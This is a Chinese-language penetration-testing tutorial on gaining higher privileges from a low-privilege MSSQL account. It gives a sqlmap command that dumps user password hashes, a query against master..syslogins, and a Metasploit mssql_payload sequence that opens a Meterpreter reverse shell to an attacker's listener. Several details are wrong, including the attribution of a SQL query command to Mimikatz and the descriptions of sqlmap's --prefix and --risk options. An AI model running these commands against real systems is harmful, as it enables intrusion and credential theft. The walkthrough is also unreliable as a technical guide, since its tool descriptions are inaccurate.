1. 介绍
在进行渗透测试时，我们有时会遇到一些低权限的目标，例如只有 普通用户权限 的 MSSQL 数据库。这时，我们需要通过一些辅助手段和技术来获取更高权限并进一步攻击目标。本文将介绍一些辅助破解 MSSQL 低权限的技术和方法。
2. 环境设置
2.1 环境准备
在开始破解之前，我们需要先设置一个测试环境。我们可以使用 VirtualBox 创建一个虚拟机，并安装 Windows Server 操作系统和 MSSQL Server 数据库。
2.2 工具下载
接下来我们需要下载一些工具来辅助我们进行破解。这些工具包括：
Sqlmap：用于 SQL 注入漏洞检测和利用
Mimikatz：用于提取密码
Msfvenom：用于生成和编译各种类型的 Metasploit payload
Metasploit Framework：用于利用漏洞和获取控制权
3. 渗透测试
3.1 漏洞扫描
在进行渗透测试时，我们要先对目标进行漏洞扫描。使用 Sqlmap 可以扫描 MSSQL 数据库是否存在 SQL 注入漏洞。以下是扫描命令：
sqlmap -r request.txt --level 5 --risk 3 --current-db --prefix --users --passwords --hostname
其中，-r 参数指定的是 HTTP 请求包（request.txt），Sqlmap 将从 HTTP 请求包中分析出查询语句并进行扫描。其余参数的含义如下：
--level：指定扫描模式的等级，取值从 1 到 5，等级越高，扫描的深度和广度就越大，默认为 1
--risk：指定扫描的风险等级，取值从 1 到 3，等级越高，扫描的难度就越大，默认为 1
--current-db：指定获取当前数据库名称
--prefix：指定获取当前表名称的前缀
--users：指定获取当前数据库的所有用户
--passwords：指定获取当前数据库用户的所有密码
--hostname：指定获取当前数据库主机名
3.2 提取密码
如果目标存在 SQL 注入漏洞，我们可以使用 Mimikatz 来提取密码。以下是提取密码的命令：
!mssql -c "select name,password from master..syslogins"
这条命令将查询 MSSQL 数据库中所有登录账户和密码的信息。我们可以将查询结果保存到文件中，以便后续使用。
3.3 获取控制权
如果我们已经获得了账户密码，我们可以使用 Metasploit Framework 来获取目标主机的控制权。以下是获取控制权的命令：
use exploit/windows/mssql/mssql_payload
set RHOSTS 192.168.1.100
set RPORT 1433
set USERNAME sa
set PASSWORD s3cr3tp4ssw0rd
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
exploit
在上述命令中，我们使用了 Metasploit Framework 中的 mssql_payload 模块来利用 MSSQL 的漏洞并获取控制权，同时使用 reverse_tcp 类型的 payload 进行反向连接。
4. 总结
本文介绍了一些辅助破解 MSSQL 低权限的技术和方法。需要注意的是，渗透测试具有一定的风险，应该获得授权并在合法的范围内进行。